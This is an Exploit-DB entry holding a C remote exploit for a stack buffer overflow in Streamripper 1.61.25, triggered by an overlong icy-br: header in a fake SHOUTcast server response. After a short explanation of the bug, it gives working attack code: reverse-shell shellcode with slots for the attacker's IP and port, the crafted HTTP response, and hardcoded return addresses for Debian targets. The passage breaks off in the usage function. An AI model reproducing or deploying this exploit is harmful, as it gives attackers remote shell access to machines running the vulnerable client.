Exploit-DB #2274
Description: Streamripper 1.61.25 - HTTP Header Parsing Buffer Overflow (1)
Type: remote
Platform: linux
Date: 2006-08-29
Author: Expanders

Exploit:
/*
       _______         ________           .__        _____          __
___  __\   _  \   ____ \_____  \          |  |__    /  |  |   ____ |  | __
\  \/  /  /_\  \ /    \  _(__  <   ______ |  |  \  /   |  |__/ ___\|  |/ /
 >    <\  \_/   \   |  \/       \ /_____/ |   Y  \/    ^   /\  \___|    <
/__/\_ \\_____  /___|  /______  /         |___|  /\____   |  \___  >__|_ \
      \/      \/     \/       \/   29\08\06    \/      |__|      \/     \/
      
 *   mm.           dM8
 *  YMMMb.       dMM8      _____________________________________
 *   YMMMMb     dMMM'     [                                     ]
 *    `YMMMb   dMMMP      [ There are doors I have yet to open  ]
 *      `YMMM  MMM'       [ windows I have yet to look through  ]
 *         "MbdMP         [ Going forward may not be the answer ]
 *     .dMMMMMM.P         [                                     ]
 *    dMM  MMMMMM         [       maybe I should go back        ]
 *    8MMMMMMMMMMI        [_____________________________________]
 *     YMMMMMMMMM                   www.netbunny.org
 *       "MMMMMMP
 *      MxM .mmm
 *      W"W """

[i] Title:              Streamripper HTTP Header Parsing Buffer Overflow Exploit
[i] Discovered by:      Ulf Harnhammar
[i] Exploit by:         Expanders
[i] References:         https://www.securityfocus.com/bid/19707   ---   http://streamripper.sourceforge.net/
[i] Greatings:          x0n3-h4ck - netbunny - my girlfriend..thanks for existing

[ Why streamripper crash? ]

Streamripper like any other shoutcast client send an HTTP GET request to the stream server then receive a pseudo-HTTP response.
Response is made of a ICY [CODE] that show the status of the remote daemon, and a few icy- headers that stores radio informations
like Title - Website - Genre - Bitrate and a special header for song-title offset in the content stream.

in lib/http.c [httplib_parse_sc_header()]

[code segment]
....
char stempbr[50];
....
rc = extract_header_value(header, stempbr, "icy-br:");
....
[/code segment]

extract_header_value(...) calls subnstr_until(const char *str, char *until, char *newstr, int maxlen) that copies from [*str] to [*newstr] trimming
everything next [*until] for a maximum of [maxlen] bytes.

in streamripper-1.61.25 ( maybe prior versions ) MAX_ICY_STRING  costant is passed as [maxlen].

in lib/lib/srtypes.h

#define MAX_ICY_STRING          4024

Putting all together if we send an icy-br: header 156 byte long we reach EIP overwriting.

Code Execution is obvious possible.

[ Timeline ]

Vendor has been informed and version 1.61.26 has been released.

[ Notes ]

Exploit uses shitty hardcoded adresses, there's no registers that point to an usefull location so virtual address exploiting isn't possible.
Probably some better solution can be used but i'm really to lazy and busy to fuck my mind with that.

[ Links ]

www.x0n3-h4ck.org
www.netbunny.org



*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define BUFFSIZE 200 // Buffer size

int banner();
int usage(char *filename);
int inject(char *port, char *ip);
int remote_connect( char* ip, unsigned short port );


/* linux_ia32_reverse -  Size=70 Encoder=None( hahaha streaming has no restricted 0x00 ) http://metasploit.com */
unsigned char shellcode[] =
                      "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
                      "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68"
                      "\x00\x00\x00\x00" // IP
                      "\x66\x68"
                      "\x00\x00" // PORT
                      "\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
                      "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
                      "\x89\xe1\xb0\x0b\xcd\x80";

char http_header[] =  "ICY 200 OK\r\n"
                      "icy-notice1:<BR>This stream requires <a href=\"http://www.winamp.com/\">Winamp</a><BR>\r\n"
                      "icy-notice2:SHOUTcast Distributed Network Audio Server/unix v1.9.7<BR>\r\n"
                      "icy-name:SEGFAULT radio\r\n"
                      "icy-genre:Progressive House\r\n"
                      "icy-url:http://www.x0n3-h4ck.org\r\n"
                      "content-type:audio/mpeg\r\n"
                      "icy-pub:1\r\n"
                      "icy-metaint:1\r\n" // mp3 metatags starts at first byte of content
                      "icy-br:"; // Finally here...

char http_content[] = "\x0d\x0a\x0d\x0a" // \r\n\r\n
                      "\x04" // this magic byte can be used to control malloc(m_buffersize). m_buffersize is (this-byte * 16 ) TODO: egghunter
                      "\x53\x74\x72\x65\x61\x6D\x54\x69\x74\x6C\x65\x3D\x27\x45"
                      "\x78\x70\x61\x6E\x64\x65\x72\x73\x20\x2D\x20\x49\x27\x6C"
                      "\x6C\x20\x4F\x77\x6E\x20\x59\x6F\x75\x27\x3B\x53\x74\x72"
                      "\x65\x61\x6D\x55\x72\x6C\x3D\x27\x27\x3B\x00\x00\x00\x00"
                      "\x00\x00\x00\x00\x00\x00\x00\x00"
                      "\xd3\xff\xff\xf5\xff\xff\xf9\xaf\xff\xe5\x29\xbe\x3e\x8b\x18"; // a few bytes from an mp3


struct retcodes{char *platform;unsigned long addr;} targets[]= {
        { "Debian GNU/Linux testing/unstable"   , 0xb7e70090 },
	{ "Debian GNU/Linux 3.1", 0xb7e71070 },
	{ "Crash daemon - DEBUGGING"   , 0xdeadc0de },
	{ NULL }
};
int banner() {
  printf("\n[i] Title:        \tStreamripper HTTP Header Parsing BOF Exploit\n");
  printf("[i] Discovered by:\tUlf Harnhammar\n");
  printf("[i] Exploit by:   \tExpanders\n\n");
  return 0;
}

int usage(char *filename) {
  int i;
  printf("Usage: \t%s <port> <l_ip> <l_port> <targ>\n\n",filename);
  printf("       \t<port>   : Local port for listener  ::  Default: 8000\n");
  printf("       \t<l_ip>   : Local ip addr